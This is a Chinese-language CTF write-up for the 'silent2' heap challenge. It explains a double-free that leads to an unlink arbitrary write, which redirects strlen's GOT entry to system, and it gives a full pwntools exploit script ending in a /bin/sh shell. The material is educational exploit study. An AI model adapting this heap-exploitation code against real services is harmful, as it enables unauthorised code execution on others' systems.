0x01分析行为
按照正常思路添加、编辑、释放
Add函数分配大小为16字节或大于0x7f字节的堆块,将堆地址放入0x6020c0的bss段内。
Free函数释放堆块,但是没有将指针清零,导致doublefree。
Edit函数修改堆块内容,修改长度不超过原来的长度。
0x02利用点
checksec检查发现可以对got表进行写,很自然联想到用system函数地址覆盖strlen_got_plt,这样当调用Edit函数的时候调用strlen即可完成system函数调用。
输入不存在溢出,但是free之后指针并没有清零,所以可以考虑申请一个大的堆块在里面伪造两个fake_chunk,通过double free触发前向合并,进而触发unlink漏洞实现任意地址写。
P->fd->bk = P->bk.
P->bk->fd = P->fd.
P就是fake_chunk1,可以看出fake_chunk1->fd->bk和fake_chunk1->bk->fd都指向fake_chunk1,所以只需要关注第二次操作即可。
P->fd即fake_chunk1->fd=p_addr-0x18,即0x6020C0。
所以unlink之后,P->bk->fd变为即0x6020C0。
将bss段上index[0],也就是0x6020c0的位置覆写为strlen_got_plt,对index[0]进行编辑,修改strlen_got_plt内容为system@plt,当再次执行Edit函数时调用system。
0x03EXP分析
create(str(0x90),'B'*0x80) #3 low
create(str(0x90),'X'*0x80) #4 high
块3绕过unlink检查,块4用来free触发前向合并。
payload=p64(0x0)+p64(0x91)
payload+=p64(0x6020c0)+p64(0x6020c8) #addrress of No.0 and No.1
payload+='X'*0x70
payload+=p64(0x90)+p64(0xa0)
块3的prev_use位置1,块4的prev_use位置0,表示块3空闲,可以前向合并。块3的fd=0x6020c0(index[0]),bk=0x6020c8(index[1])。考虑unlink的第二步,最终将0x6020d8(index[3])内容覆写为0x6020c0(index[0])。
delete('4')
r.writeline('3') #edit
r.writeline('3') #No.3
sleep(time_sleep)
r.write('\x20\x20\x60\x00\x00\x00\x00') #strlen的got表地址
释放块4触发前向合并。再次edit(3)的时候已经是对0x6020c0的内容进行修改。
EXP
#!/usr/bin/env python
from pwn import *
host = '39.107.32.132'
port = 10001
#r = remote(host, port)
r= process('./silent2')
time_sleep = 1
context.terminal = ['gnome-terminal','-x','sh','-c']
def create(length, data):
r.sendline('1')
sleep(time_sleep)
r.sendline(str(length))
sleep(time_sleep)
r.sendline(data)
sleep(time_sleep)
def delete(index):
r.sendline('2')
sleep(time_sleep)
r.sendline(str(index))
sleep(time_sleep)
def edit(index, data):
r.sendline('3')
sleep(time_sleep)
r.sendline(str(index))
sleep(time_sleep)
r.sendline(data)
sleep(time_sleep)
#r.sendline('T'*10)
print "start working"
create(str(0x90),'X'*0x80) #0 build a chunk
create(str(0x90),'A'*0x80) #1
create(str(0x90),'/bin/sh\x00') #2
create(str(0x90),'B'*0x80) #3 low
create(str(0x90),'X'*0x80) #4 high
create(str(0x90),'X'*0x80) #5
delete('4')
delete('3')
payload=p64(0x0)+p64(0x91)
payload+=p64(0x6020c0)+p64(0x6020c8) #addrress of No.0 and No.1
payload+='X'*0x70
payload+=p64(0x90)+p64(0xa0)
create(str(0x130),payload)
delete('4')
r.writeline('3') #edit
r.writeline('3') #No.3
sleep(time_sleep)
r.write('\x20\x20\x60\x00\x00\x00\x00') #strlen的got表地址
sleep(time_sleep)
r.writeline('3') #edit
r.writeline('0') #No.0
r.writeline(p64(0x400730)) #system@plt
sleep(time_sleep) #
r.writeline('3') #edit
sleep(time_sleep)
r.writeline('2') #'/bin/sh'
print "end working"
raw_input()
r.interactive()
silent2